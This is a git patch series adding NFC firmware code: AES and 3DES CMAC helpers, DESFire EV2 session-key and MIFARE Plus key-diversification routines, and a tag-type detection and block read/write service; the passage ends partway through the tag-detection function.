d2d0862675b6c564847fa1d089822f812c1ac054 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:06:58 -0300 Subject: [PATCH 22/61] feat(nfc): add NFC crypto utilities --- .../nfc/protocols/common/include/nfc_crypto.h | 131 +++++ .../nfc/protocols/common/nfc_crypto.c | 549 ++++++++++++++++++ 2 files changed, 680 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/include/nfc_crypto.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/nfc_crypto.c diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_crypto.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_crypto.h new file mode 100644 index 00000000..c9edf5f0 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_crypto.h @@ -0,0 +1,131 @@ +/** + * @file nfc_crypto.h + * @brief Common crypto helpers for NFC phases (CMAC, KDF, diversification). + */ +#ifndef NFC_CRYPTO_H +#define NFC_CRYPTO_H + +#include +#include +#include + +typedef enum { + NFC_MAC_AES_CMAC_16 = 0, /* Full 16B CMAC (key diversification). */ + NFC_MAC_AES_CMAC_EV1_8, /* First 8B (DESFire EV1, MFP SL3). */ + NFC_MAC_AES_CMAC_EV2_8, /* Odd bytes (DESFire EV2/EV3). */ + NFC_MAC_3DES_CBC_8, /* 8B 3DES-CBC-MAC. */ + NFC_MAC_3DES_CBC_4, /* 4B 3DES-CBC-MAC (truncated). */ +} nfc_mac_type_t; + +int nfc_memcmp_ct(const void* a, const void* b, size_t n); + +bool nfc_aes_ecb_encrypt(const uint8_t key[16], const uint8_t in[16], uint8_t out[16]); +bool nfc_aes_cbc_crypt(bool encrypt, + const uint8_t key[16], + const uint8_t iv_in[16], + const uint8_t* in, + size_t len, + uint8_t* out, + uint8_t iv_out[16]); + +int nfc_aes_cmac(const uint8_t* key, + size_t key_len, + const uint8_t* msg, + size_t msg_len, + uint8_t tag[16]); + +int nfc_tdes_cbc_mac(const uint8_t* key, + size_t key_len, + const uint8_t* data, + size_t data_len, + uint8_t mac_out[8]); + +int nfc_mac_compute(nfc_mac_type_t type, + const uint8_t* key, + size_t key_len, + const uint8_t* data, + size_t data_len, + uint8_t* mac_out, + size_t* mac_len_out); + +int nfc_mac_verify(nfc_mac_type_t type, + const uint8_t* key, + size_t key_len, + const uint8_t* data, + size_t data_len, + const uint8_t* mac_rx, + size_t mac_rx_len); + +void nfc_ev2_derive_session_keys(const uint8_t* kx, + const uint8_t* rnd_a, + const uint8_t* rnd_b, + uint8_t* ses_mac, + uint8_t* ses_enc); + +void nfc_ev2_mac_truncate(const uint8_t cmac16[16], uint8_t mac8[8]); + +int nfc_ev2_compute_cmd_mac(const uint8_t* ses_mac_key, + uint8_t ins, + uint16_t cmd_ctr, + const uint8_t ti[4], + const uint8_t* cmd_header, + size_t hdr_len, + const uint8_t* cmd_data, + size_t data_len, + uint8_t mac8[8]); + +int nfc_ev2_compute_resp_mac(const uint8_t* ses_mac_key, + uint8_t ins, + uint16_t cmd_ctr_next, + const uint8_t ti[4], + const uint8_t* resp_data, + size_t resp_len, + uint8_t mac8[8]); + +void nfc_ev2_build_iv_cmd(const uint8_t ses_enc[16], + const uint8_t ti[4], + uint16_t cmd_ctr, + uint8_t iv_out[16]); + +void nfc_ev2_build_iv_resp(const uint8_t ses_enc[16], + const uint8_t ti[4], + uint16_t cmd_ctr_next, + uint8_t iv_out[16]); + +size_t nfc_iso9797_pad_method2(const uint8_t* in, + size_t in_len, + uint8_t* out, + size_t out_max); + +size_t nfc_iso9797_unpad_method2(uint8_t* buf, size_t len); + +size_t nfc_iso9797_pad_method1(const uint8_t* in, + size_t in_len, + uint8_t* out, + size_t out_max); + +int nfc_diversify_aes128(const uint8_t* master_key, + const uint8_t* div_input, + size_t div_input_len, + uint8_t* div_key); + +int nfc_diversify_desfire_key(const uint8_t* master_key, + const uint8_t* uid_7b, + const uint8_t* aid_3b, + uint8_t key_no, + const uint8_t* system_id, + size_t system_id_len, + uint8_t* div_key); + +int nfc_diversify_mfp_key(const uint8_t* master_key, + const uint8_t* uid_7b, + uint16_t block_addr, + uint8_t* div_key); + +int nfc_diversify_2tdea(const uint8_t* master_key, + const uint8_t* div_input, + size_t div_input_len, + const uint8_t* original_key, + uint8_t* div_key); + +#endif /* NFC_CRYPTO_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_crypto.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_crypto.c new file mode 100644 index 00000000..b96276f2 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_crypto.c @@ -0,0 +1,549 @@ +/** + * @file nfc_crypto.c + * @brief Common crypto helpers (CMAC, KDF, diversification). + */ +#include "nfc_crypto.h" + +#include +#include + +#include "mbedtls/aes.h" +#include "mbedtls/des.h" + +int nfc_memcmp_ct(const void* a, const void* b, size_t n) +{ + const uint8_t* pa = (const uint8_t*)a; + const uint8_t* pb = (const uint8_t*)b; + uint8_t diff = 0; + for (size_t i = 0; i < n; i++) diff |= (uint8_t)(pa[i] ^ pb[i]); + return (int)diff; +} + +bool nfc_aes_ecb_encrypt(const uint8_t key[16], const uint8_t in[16], uint8_t out[16]) +{ + if (!key || !in || !out) return false; + mbedtls_aes_context ctx; + mbedtls_aes_init(&ctx); + int rc = mbedtls_aes_setkey_enc(&ctx, key, 128); + if (rc != 0) { + mbedtls_aes_free(&ctx); + return false; + } + rc = mbedtls_aes_crypt_ecb(&ctx, MBEDTLS_AES_ENCRYPT, in, out); + mbedtls_aes_free(&ctx); + return rc == 0; +} + +bool nfc_aes_cbc_crypt(bool encrypt, + const uint8_t key[16], + const uint8_t iv_in[16], + const uint8_t* in, + size_t len, + uint8_t* out, + uint8_t iv_out[16]) +{ + if (!key || !iv_in || !in || !out || (len % 16) != 0) return false; + + mbedtls_aes_context ctx; + mbedtls_aes_init(&ctx); + int rc = encrypt ? mbedtls_aes_setkey_enc(&ctx, key, 128) + : mbedtls_aes_setkey_dec(&ctx, key, 128); + if (rc != 0) { + mbedtls_aes_free(&ctx); + return false; + } + + uint8_t iv[16]; + memcpy(iv, iv_in, 16); + rc = mbedtls_aes_crypt_cbc(&ctx, + encrypt ? MBEDTLS_AES_ENCRYPT : MBEDTLS_AES_DECRYPT, + len, iv, in, out); + if (iv_out) memcpy(iv_out, iv, 16); + mbedtls_aes_free(&ctx); + return rc == 0; +} + +static void leftshift_onebit_128(const uint8_t* in, uint8_t* out) +{ + for (int i = 0; i < 15; i++) { + out[i] = (uint8_t)((in[i] << 1) | (in[i + 1] >> 7)); + } + out[15] = (uint8_t)(in[15] << 1); +} + +static void aes_cmac_subkeys(const uint8_t* key, uint8_t* k1, uint8_t* k2) +{ + static const uint8_t zero16[16] = {0}; + uint8_t L[16]; + (void)nfc_aes_ecb_encrypt(key, zero16, L); + + leftshift_onebit_128(L, k1); + if (L[0] & 0x80U) k1[15] ^= 0x87U; + + leftshift_onebit_128(k1, k2); + if (k1[0] & 0x80U) k2[15] ^= 0x87U; +} + +int nfc_aes_cmac(const uint8_t* key, + size_t key_len, + const uint8_t* msg, + size_t msg_len, + uint8_t tag[16]) +{ + if (!key || !msg || !tag || key_len != 16) return -1; + + uint8_t k1[16], k2[16]; + aes_cmac_subkeys(key, k1, k2); + + int n = (msg_len == 0) ? 1 : (int)((msg_len + 15U) / 16U); + bool padded = (msg_len == 0) || (msg_len % 16U != 0); + + uint8_t X[16] = {0}; + uint8_t Y[16]; + + for (int i = 0; i < n - 1; i++) { + for (int j = 0; j < 16; j++) Y[j] = msg[i * 16 + j] ^ X[j]; + (void)nfc_aes_ecb_encrypt(key, Y, X); + } + + uint8_t last[16] = {0}; + size_t last_len = (msg_len == 0) ? 0 : (msg_len - (size_t)(n - 1) * 16U); + if (last_len > 0) memcpy(last, msg + (size_t)(n - 1) * 16U, last_len); + if (padded) last[last_len] = 0x80U; + + const uint8_t* subkey = padded ? k2 : k1; + for (int j = 0; j < 16; j++) Y[j] = (uint8_t)(last[j] ^ subkey[j] ^ X[j]); + (void)nfc_aes_ecb_encrypt(key, Y, tag); + return 0; +} + +static bool tdes_ecb_encrypt(const uint8_t* key, size_t key_len, + const uint8_t in[8], uint8_t out[8]) +{ + if (!key || !in || !out) return false; + if (key_len != 16 && key_len != 24) return false; + + mbedtls_des3_context ctx; + mbedtls_des3_init(&ctx); + int rc = (key_len == 16) ? mbedtls_des3_set2key_enc(&ctx, key) + : mbedtls_des3_set3key_enc(&ctx, key); + if (rc != 0) { + mbedtls_des3_free(&ctx); + return false; + } + rc = mbedtls_des3_crypt_ecb(&ctx, in, out); + mbedtls_des3_free(&ctx); + return rc == 0; +} + +static void leftshift_onebit_64(const uint8_t* in, uint8_t* out) +{ + for (int i = 0; i < 7; i++) { + out[i] = (uint8_t)((in[i] << 1) | (in[i + 1] >> 7)); + } + out[7] = (uint8_t)(in[7] << 1); +} + +static int tdes_cmac_subkeys(const uint8_t* key, size_t key_len, + uint8_t* k1, uint8_t* k2) +{ + uint8_t L[8] = {0}; + if (!tdes_ecb_encrypt(key, key_len, L, L)) return -1; + + leftshift_onebit_64(L, k1); + if (L[0] & 0x80U) k1[7] ^= 0x1BU; + + leftshift_onebit_64(k1, k2); + if (k1[0] & 0x80U) k2[7] ^= 0x1BU; + return 0; +} + +static int nfc_tdes_cmac(const uint8_t* key, size_t key_len, + const uint8_t* msg, size_t msg_len, + uint8_t tag[8]) +{ + if (!key || !msg || !tag) return -1; + if (key_len != 16 && key_len != 24) return -1; + + uint8_t k1[8], k2[8]; + if (tdes_cmac_subkeys(key, key_len, k1, k2) != 0) return -1; + + int n = (msg_len == 0) ? 1 : (int)((msg_len + 7U) / 8U); + bool padded = (msg_len == 0) || (msg_len % 8U != 0); + + uint8_t X[8] = {0}; + uint8_t Y[8]; + + for (int i = 0; i < n - 1; i++) { + for (int j = 0; j < 8; j++) Y[j] = msg[i * 8 + j] ^ X[j]; + if (!tdes_ecb_encrypt(key, key_len, Y, X)) return -1; + } + + uint8_t last[8] = {0}; + size_t last_len = (msg_len == 0) ? 0 : (msg_len - (size_t)(n - 1) * 8U); + if (last_len > 0) memcpy(last, msg + (size_t)(n - 1) * 8U, last_len); + if (padded) last[last_len] = 0x80U; + + const uint8_t* subkey = padded ? k2 : k1; + for (int j = 0; j < 8; j++) Y[j] = (uint8_t)(last[j] ^ subkey[j] ^ X[j]); + if (!tdes_ecb_encrypt(key, key_len, Y, tag)) return -1; + return 0; +} + +int nfc_tdes_cbc_mac(const uint8_t* key, + size_t key_len, + const uint8_t* data, + size_t data_len, + uint8_t mac_out[8]) +{ + if (!key || !data || !mac_out) return -1; + if (key_len != 16 && key_len != 24) return -1; + + mbedtls_des3_context ctx; + mbedtls_des3_init(&ctx); + int rc = (key_len == 16) ? mbedtls_des3_set2key_enc(&ctx, key) + : mbedtls_des3_set3key_enc(&ctx, key); + if (rc != 0) { + mbedtls_des3_free(&ctx); + return -1; + } + + uint8_t iv[8] = {0}; + size_t n_blocks = (data_len + 7U) / 8U; + if (n_blocks == 0) n_blocks = 1; + + for (size_t i = 0; i < n_blocks; i++) { + uint8_t block[8] = {0}; + size_t copy = (i * 8 + 8 <= data_len) ? 8 : (data_len - i * 8); + if (copy > 0) memcpy(block, data + i * 8, copy); + + uint8_t out[8]; + rc = mbedtls_des3_crypt_cbc(&ctx, MBEDTLS_DES_ENCRYPT, 8, iv, block, out); + if (rc != 0) { + mbedtls_des3_free(&ctx); + return -1; + } + } + + memcpy(mac_out, iv, 8); + mbedtls_des3_free(&ctx); + return 0; +} + +int nfc_mac_compute(nfc_mac_type_t type, + const uint8_t* key, + size_t key_len, + const uint8_t* data, + size_t data_len, + uint8_t* mac_out, + size_t* mac_len_out) +{ + if (!key || !data || !mac_out || !mac_len_out) return -1; + + uint8_t full[16]; + switch (type) { + case NFC_MAC_AES_CMAC_16: + if (nfc_aes_cmac(key, key_len, data, data_len, full) != 0) return -1; + memcpy(mac_out, full, 16); *mac_len_out = 16; break; + + case NFC_MAC_AES_CMAC_EV1_8: + if (nfc_aes_cmac(key, key_len, data, data_len, full) != 0) return -1; + memcpy(mac_out, full, 8); *mac_len_out = 8; break; + + case NFC_MAC_AES_CMAC_EV2_8: + if (nfc_aes_cmac(key, key_len, data, data_len, full) != 0) return -1; + for (int i = 0; i < 8; i++) mac_out[i] = full[1 + 2 * i]; + *mac_len_out = 8; break; + + case NFC_MAC_3DES_CBC_8: + if (nfc_tdes_cbc_mac(key, key_len, data, data_len, full) != 0) return -1; + memcpy(mac_out, full, 8); *mac_len_out = 8; break; + + case NFC_MAC_3DES_CBC_4: + if (nfc_tdes_cbc_mac(key, key_len, data, data_len, full) != 0) return -1; + memcpy(mac_out, full, 4); *mac_len_out = 4; break; + + default: + return -1; + } + return 0; +} + +int nfc_mac_verify(nfc_mac_type_t type, + const uint8_t* key, + size_t key_len, + const uint8_t* data, + size_t data_len, + const uint8_t* mac_rx, + size_t mac_rx_len) +{ + uint8_t mac_calc[16]; + size_t mac_calc_len = 0; + if (!mac_rx) return -1; + if (nfc_mac_compute(type, key, key_len, data, data_len, + mac_calc, &mac_calc_len) != 0) return -1; + if (mac_calc_len != mac_rx_len) return -2; + return (nfc_memcmp_ct(mac_calc, mac_rx, mac_calc_len) == 0) ? 0 : -3; +} + +void nfc_ev2_derive_session_keys(const uint8_t* kx, + const uint8_t* rnd_a, + const uint8_t* rnd_b, + uint8_t* ses_mac, + uint8_t* ses_enc) +{ + uint8_t ctx[26]; + uint8_t sv[32]; + + ctx[0] = rnd_a[14]; + ctx[1] = rnd_a[15]; + ctx[2] = (uint8_t)(rnd_a[13] ^ rnd_b[10]); + ctx[3] = (uint8_t)(rnd_a[12] ^ rnd_b[11]); + ctx[4] = (uint8_t)(rnd_a[11] ^ rnd_b[12]); + ctx[5] = (uint8_t)(rnd_a[10] ^ rnd_b[13]); + ctx[6] = (uint8_t)(rnd_a[ 9] ^ rnd_b[14]); + ctx[7] = (uint8_t)(rnd_a[ 8] ^ rnd_b[15]); + ctx[8] = rnd_b[ 9]; + ctx[9] = rnd_b[ 8]; + ctx[10] = rnd_b[ 7]; + ctx[11] = rnd_b[ 6]; + ctx[12] = rnd_b[ 5]; + ctx[13] = rnd_b[ 4]; + ctx[14] = rnd_b[ 3]; + ctx[15] = rnd_b[ 2]; + ctx[16] = rnd_b[ 1]; + ctx[17] = rnd_b[ 0]; + ctx[18] = rnd_a[ 7]; + ctx[19] = rnd_a[ 6]; + ctx[20] = rnd_a[ 5]; + ctx[21] = rnd_a[ 4]; + ctx[22] = rnd_a[ 3]; + ctx[23] = rnd_a[ 2]; + ctx[24] = rnd_a[ 1]; + ctx[25] = rnd_a[ 0]; + + sv[0] = 0xA5; sv[1] = 0x5A; sv[2] = 0x00; sv[3] = 0x01; sv[4] = 0x00; sv[5] = 0x80; + memcpy(sv + 6, ctx, 26); + (void)nfc_aes_cmac(kx, 16, sv, sizeof(sv), ses_mac); + + sv[0] = 0x5A; sv[1] = 0xA5; + (void)nfc_aes_cmac(kx, 16, sv, sizeof(sv), ses_enc); +} + +void nfc_ev2_mac_truncate(const uint8_t cmac16[16], uint8_t mac8[8]) +{ + for (int i = 0; i < 8; i++) mac8[i] = cmac16[1 + 2 * i]; +} + +int nfc_ev2_compute_cmd_mac(const uint8_t* ses_mac_key, + uint8_t ins, + uint16_t cmd_ctr, + const uint8_t ti[4], + const uint8_t* cmd_header, + size_t hdr_len, + const uint8_t* cmd_data, + size_t data_len, + uint8_t mac8[8]) +{ + if (!ses_mac_key || !ti || !mac8) return -1; + + size_t buf_len = 7 + hdr_len + data_len; + uint8_t* buf = (uint8_t*)malloc(buf_len); + if (!buf) return -1; + + buf[0] = ins; + buf[1] = (uint8_t)(cmd_ctr & 0xFF); + buf[2] = (uint8_t)((cmd_ctr >> 8) & 0xFF); + memcpy(buf + 3, ti, 4); + if (hdr_len && cmd_header) memcpy(buf + 7, cmd_header, hdr_len); + if (data_len && cmd_data) memcpy(buf + 7 + hdr_len, cmd_data, data_len); + + uint8_t cmac[16]; + (void)nfc_aes_cmac(ses_mac_key, 16, buf, buf_len, cmac); + nfc_ev2_mac_truncate(cmac, mac8); + free(buf); + return 0; +} + +int nfc_ev2_compute_resp_mac(const uint8_t* ses_mac_key, + uint8_t ins, + uint16_t cmd_ctr_next, + const uint8_t ti[4], + const uint8_t* resp_data, + size_t resp_len, + uint8_t mac8[8]) +{ + if (!ses_mac_key || !ti || !mac8) return -1; + + size_t buf_len = 7 + resp_len; + uint8_t* buf = (uint8_t*)malloc(buf_len); + if (!buf) return -1; + + buf[0] = ins; + buf[1] = (uint8_t)(cmd_ctr_next & 0xFF); + buf[2] = (uint8_t)((cmd_ctr_next >> 8) & 0xFF); + memcpy(buf + 3, ti, 4); + if (resp_len && resp_data) memcpy(buf + 7, resp_data, resp_len); + + uint8_t cmac[16]; + (void)nfc_aes_cmac(ses_mac_key, 16, buf, buf_len, cmac); + nfc_ev2_mac_truncate(cmac, mac8); + free(buf); + return 0; +} + +void nfc_ev2_build_iv_cmd(const uint8_t ses_enc[16], + const uint8_t ti[4], + uint16_t cmd_ctr, + uint8_t iv_out[16]) +{ + uint8_t in[16] = {0}; + in[0] = 0xA5; in[1] = 0x5A; + in[8] = (uint8_t)(cmd_ctr & 0xFF); + in[9] = (uint8_t)((cmd_ctr >> 8) & 0xFF); + memcpy(in + 10, ti, 4); + (void)nfc_aes_ecb_encrypt(ses_enc, in, iv_out); +} + +void nfc_ev2_build_iv_resp(const uint8_t ses_enc[16], + const uint8_t ti[4], + uint16_t cmd_ctr_next, + uint8_t iv_out[16]) +{ + uint8_t in[16] = {0}; + in[0] = 0x5A; in[1] = 0xA5; + in[8] = (uint8_t)(cmd_ctr_next & 0xFF); + in[9] = (uint8_t)((cmd_ctr_next >> 8) & 0xFF); + memcpy(in + 10, ti, 4); + (void)nfc_aes_ecb_encrypt(ses_enc, in, iv_out); +} + +size_t nfc_iso9797_pad_method2(const uint8_t* in, + size_t in_len, + uint8_t* out, + size_t out_max) +{ + if (!out || (!in && in_len)) return 0; + size_t pad_len = 16U - (in_len % 16U); + if (pad_len == 0) pad_len = 16U; + size_t total = in_len + pad_len; + if (total > out_max) return 0; + if (in_len > 0) memcpy(out, in, in_len); + out[in_len] = 0x80U; + if (pad_len > 1) memset(out + in_len + 1, 0x00, pad_len - 1); + return total; +} + +size_t nfc_iso9797_unpad_method2(uint8_t* buf, size_t len) +{ + if (!buf || len == 0 || (len % 16U) != 0) return 0; + size_t i = len; + while (i > 0 && buf[i - 1] == 0x00U) i--; + if (i == 0 || buf[i - 1] != 0x80U) return 0; + return i - 1; +} + +size_t nfc_iso9797_pad_method1(const uint8_t* in, + size_t in_len, + uint8_t* out, + size_t out_max) +{ + if (!out || (!in && in_len)) return 0; + size_t pad_len = (16U - (in_len % 16U)) % 16U; + size_t total = in_len + pad_len; + if (total > out_max) return 0; + if (in_len > 0) memcpy(out, in, in_len); + if (pad_len > 0) memset(out + in_len, 0x00, pad_len); + return total; +} + +int nfc_diversify_aes128(const uint8_t* master_key, + const uint8_t* div_input, + size_t div_input_len, + uint8_t* div_key) +{ + if (!master_key || !div_input || !div_key) return -1; + if (div_input_len == 0 || div_input_len > 31) return -1; + + uint8_t m_padded[32]; + memset(m_padded, 0x00, sizeof(m_padded)); + memcpy(m_padded, div_input, div_input_len); + m_padded[div_input_len] = 0x80U; + + uint8_t sv[33]; + sv[0] = 0x01; + memcpy(sv + 1, m_padded, sizeof(m_padded)); + + return nfc_aes_cmac(master_key, 16, sv, sizeof(sv), div_key); +} + +int nfc_diversify_desfire_key(const uint8_t* master_key, + const uint8_t* uid_7b, + const uint8_t* aid_3b, + uint8_t key_no, + const uint8_t* system_id, + size_t system_id_len, + uint8_t* div_key) +{ + if (!master_key || !uid_7b || !div_key) return -1; + + uint8_t m[31]; + size_t m_len = 0; + memcpy(m + m_len, uid_7b, 7); m_len += 7; + if (aid_3b) { memcpy(m + m_len, aid_3b, 3); m_len += 3; } + m[m_len++] = key_no; + if (system_id && system_id_len > 0) { + size_t copy = (m_len + system_id_len > sizeof(m)) ? (sizeof(m) - m_len) : system_id_len; + memcpy(m + m_len, system_id, copy); + m_len += copy; + } + return nfc_diversify_aes128(master_key, m, m_len, div_key); +} + +int nfc_diversify_mfp_key(const uint8_t* master_key, + const uint8_t* uid_7b, + uint16_t block_addr, + uint8_t* div_key) +{ + if (!master_key || !uid_7b || !div_key) return -1; + uint8_t m[9]; + memcpy(m, uid_7b, 7); + m[7] = (uint8_t)(block_addr & 0xFF); + m[8] = (uint8_t)((block_addr >> 8) & 0xFF); + return nfc_diversify_aes128(master_key, m, sizeof(m), div_key); +} + +int nfc_diversify_2tdea(const uint8_t* master_key, + const uint8_t* div_input, + size_t div_input_len, + const uint8_t* original_key, + uint8_t* div_key) +{ + if (!master_key || !div_input || !div_key) return -1; + if (div_input_len == 0 || div_input_len > 15) return -1; + + uint8_t m_padded[16]; + memset(m_padded, 0x00, sizeof(m_padded)); + memcpy(m_padded, div_input, div_input_len); + m_padded[div_input_len] = 0x80U; + + uint8_t sv[17]; + sv[0] = 0x01; + memcpy(sv + 1, m_padded, sizeof(m_padded)); + + uint8_t cmac1[8]; + uint8_t cmac2[8]; + if (nfc_tdes_cmac(master_key, 16, sv, sizeof(sv), cmac1) != 0) return -1; + + sv[0] = 0x02; + if (nfc_tdes_cmac(master_key, 16, sv, sizeof(sv), cmac2) != 0) return -1; + + memcpy(div_key, cmac1, 8); + memcpy(div_key + 8, cmac2, 8); + + if (original_key) { + div_key[7] = (uint8_t)((div_key[7] & 0xFEU) | (original_key[7] & 0x01U)); + div_key[15] = (uint8_t)((div_key[15] & 0xFEU) | (original_key[15] & 0x01U)); + } + return 0; +} From 8b7f0906a3b86db0e8d220da9df1ca92194975e1 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:07:29 -0300 Subject: [PATCH 23/61] feat(nfc): add NFC tag detection service --- .../nfc/protocols/common/include/nfc_tag.h | 90 ++++ .../nfc/protocols/common/nfc_tag.c | 428 ++++++++++++++++++ 2 files changed, 518 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tag.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/nfc_tag.c diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tag.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tag.h new file mode 100644 index 00000000..17edd50e --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_tag.h @@ -0,0 +1,90 @@ +/** + * @file nfc_tag.h + * @brief NFC Forum Tag Type handlers (Phase 7). + */ +#ifndef NFC_TAG_H +#define NFC_TAG_H + +#include +#include +#include + +#include "highboy_nfc_error.h" +#include "highboy_nfc_types.h" + +#include "t1t.h" +#include "t4t.h" +#include "felica.h" +#include "iso15693.h" +#include "mf_plus.h" + +typedef enum { + NFC_TAG_TYPE_UNKNOWN = 0, + NFC_TAG_TYPE_1 = 1, + NFC_TAG_TYPE_2, + NFC_TAG_TYPE_3, + NFC_TAG_TYPE_4A, + NFC_TAG_TYPE_4B, + NFC_TAG_TYPE_6, + NFC_TAG_TYPE_7, + NFC_TAG_TYPE_V, +} nfc_tag_type_t; + +typedef enum { + NFC_TAG_SEC_PLAIN = 0x00, + NFC_TAG_SEC_MAC = 0x01, + NFC_TAG_SEC_FULL = 0x03, +} nfc_tag_sec_mode_t; + +typedef struct { + nfc_tag_type_t type; + hb_nfc_protocol_t protocol; + uint8_t uid[NFC_UID_MAX_LEN]; + uint8_t uid_len; + uint16_t block_size; + + nfc_iso14443a_data_t iso14443a; + nfc_iso14443b_data_t iso14443b; + t1t_tag_t t1t; + felica_tag_t felica; + iso15693_tag_t iso15693; + + nfc_iso_dep_data_t dep; + t4t_cc_t t4t_cc; + + uint16_t felica_service; + + mfp_session_t mfp; + nfc_tag_sec_mode_t sec_mode; +} nfc_tag_t; + +const char* nfc_tag_type_str(nfc_tag_type_t type); + +hb_nfc_err_t nfc_tag_detect(nfc_tag_t* tag); + +hb_nfc_err_t nfc_tag_read_block(nfc_tag_t* tag, + uint32_t block_num, + uint8_t* out, + size_t out_max, + size_t* out_len); + +hb_nfc_err_t nfc_tag_write_block(nfc_tag_t* tag, + uint32_t block_num, + const uint8_t* data, + size_t data_len); + +hb_nfc_err_t nfc_tag_get_uid(const nfc_tag_t* tag, + uint8_t* uid, + size_t* uid_len); + +hb_nfc_err_t nfc_tag_mfp_auth_first(nfc_tag_t* tag, + uint16_t block_addr, + const uint8_t key[16]); + +hb_nfc_err_t nfc_tag_mfp_auth_nonfirst(nfc_tag_t* tag, + uint16_t block_addr, + const uint8_t key[16]); + +void nfc_tag_set_felica_service(nfc_tag_t* tag, uint16_t service_code); + +#endif /* NFC_TAG_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_tag.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_tag.c new file mode 100644 index 00000000..69ed238e --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_tag.c @@ -0,0 +1,428 @@ +/** + * @file nfc_tag.c + * @brief NFC Forum Tag Type handlers (Phase 7). + */ +#include "nfc_tag.h" + +#include +#include + +#include "poller.h" +#include "iso14443a.h" +#include "iso14443b.h" +#include "iso_dep.h" +#include "mf_ultralight.h" +#include "nfc_crypto.h" +#include "esp_log.h" + +#define TAG "nfc_tag" + +static void nfc_tag_reset(nfc_tag_t* tag) +{ + if (!tag) return; + memset(tag, 0, sizeof(*tag)); + tag->type = NFC_TAG_TYPE_UNKNOWN; + tag->protocol = HB_PROTO_UNKNOWN; + tag->sec_mode = NFC_TAG_SEC_PLAIN; + tag->felica_service = FELICA_SC_COMMON; +} + +const char* nfc_tag_type_str(nfc_tag_type_t type) +{ + switch (type) { + case NFC_TAG_TYPE_1: return "Type 1"; + case NFC_TAG_TYPE_2: return "Type 2"; + case NFC_TAG_TYPE_3: return "Type 3"; + case NFC_TAG_TYPE_4A: return "Type 4A"; + case NFC_TAG_TYPE_4B: return "Type 4B"; + case NFC_TAG_TYPE_6: return "Type 6"; + case NFC_TAG_TYPE_7: return "Type 7"; + case NFC_TAG_TYPE_V: return "Type V"; + default: return "Unknown"; + } +} + +static void nfc_tag_set_uid(nfc_tag_t* tag, const uint8_t* uid, uint8_t uid_len) +{ + if (!tag || !uid || uid_len == 0) return; + if (uid_len > NFC_UID_MAX_LEN) uid_len = NFC_UID_MAX_LEN; + memcpy(tag->uid, uid, uid_len); + tag->uid_len = uid_len; +} + +static hb_nfc_err_t nfc_tag_prepare_t4t(nfc_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + if (tag->dep.ats_len == 0) { + hb_nfc_err_t err = iso_dep_rats(8, 0, &tag->dep); + if (err != HB_NFC_OK) return err; + } + if (tag->t4t_cc.ndef_fid == 0) { + hb_nfc_err_t err = t4t_read_cc(&tag->dep, &tag->t4t_cc); + if (err != HB_NFC_OK) return err; + } + return HB_NFC_OK; +} + +hb_nfc_err_t nfc_tag_detect(nfc_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + nfc_tag_reset(tag); + + /* Type 1 (Topaz) has no anticollision; probe first. */ + t1t_tag_t t1 = { 0 }; + if (t1t_select(&t1) == HB_NFC_OK) { + tag->type = NFC_TAG_TYPE_1; + tag->protocol = HB_PROTO_ISO14443_3A; + tag->t1t = t1; + tag->block_size = t1.is_topaz512 ? 8U : 1U; + nfc_tag_set_uid(tag, t1.uid, t1.uid_len ? t1.uid_len : 4); + return HB_NFC_OK; + } + + /* NFC-A (Type 2 / Type 4A) */ + nfc_iso14443a_data_t a = { 0 }; + if (iso14443a_poller_select(&a) == HB_NFC_OK) { + tag->protocol = HB_PROTO_ISO14443_3A; + tag->iso14443a = a; + nfc_tag_set_uid(tag, a.uid, a.uid_len); + + if (a.sak == 0x00) { + tag->type = NFC_TAG_TYPE_2; + tag->block_size = 4U; + return HB_NFC_OK; + } + + if (a.sak & 0x20) { + tag->type = NFC_TAG_TYPE_4A; + tag->block_size = 16U; + (void)nfc_tag_prepare_t4t(tag); + return HB_NFC_OK; + } + + tag->type = NFC_TAG_TYPE_UNKNOWN; + return HB_NFC_OK; + } + + /* NFC-B (Type 4B) */ + nfc_iso14443b_data_t b = { 0 }; + if (iso14443b_poller_init() == HB_NFC_OK && + iso14443b_select(&b, 0x00, 0x00) == HB_NFC_OK) { + tag->protocol = HB_PROTO_ISO14443_3B; + tag->iso14443b = b; + tag->type = NFC_TAG_TYPE_4B; + tag->block_size = 16U; + return HB_NFC_OK; + } + + /* NFC-F (Type 3) */ + if (felica_poller_init() == HB_NFC_OK) { + felica_tag_t f = { 0 }; + if (felica_sensf_req(FELICA_SC_COMMON, &f) == HB_NFC_OK) { + tag->protocol = HB_PROTO_FELICA; + tag->type = NFC_TAG_TYPE_3; + tag->felica = f; + tag->block_size = FELICA_BLOCK_SIZE; + nfc_tag_set_uid(tag, f.idm, FELICA_IDM_LEN); + return HB_NFC_OK; + } + } + + /* NFC-V / ISO15693 (Type 6 / Type V) */ + if (iso15693_poller_init() == HB_NFC_OK) { + iso15693_tag_t v = { 0 }; + if (iso15693_inventory(&v) == HB_NFC_OK) { + tag->protocol = HB_PROTO_ISO15693; + tag->type = NFC_TAG_TYPE_6; + tag->iso15693 = v; + nfc_tag_set_uid(tag, v.uid, ISO15693_UID_LEN); + (void)iso15693_get_system_info(&tag->iso15693); + if (tag->iso15693.block_size == 0) 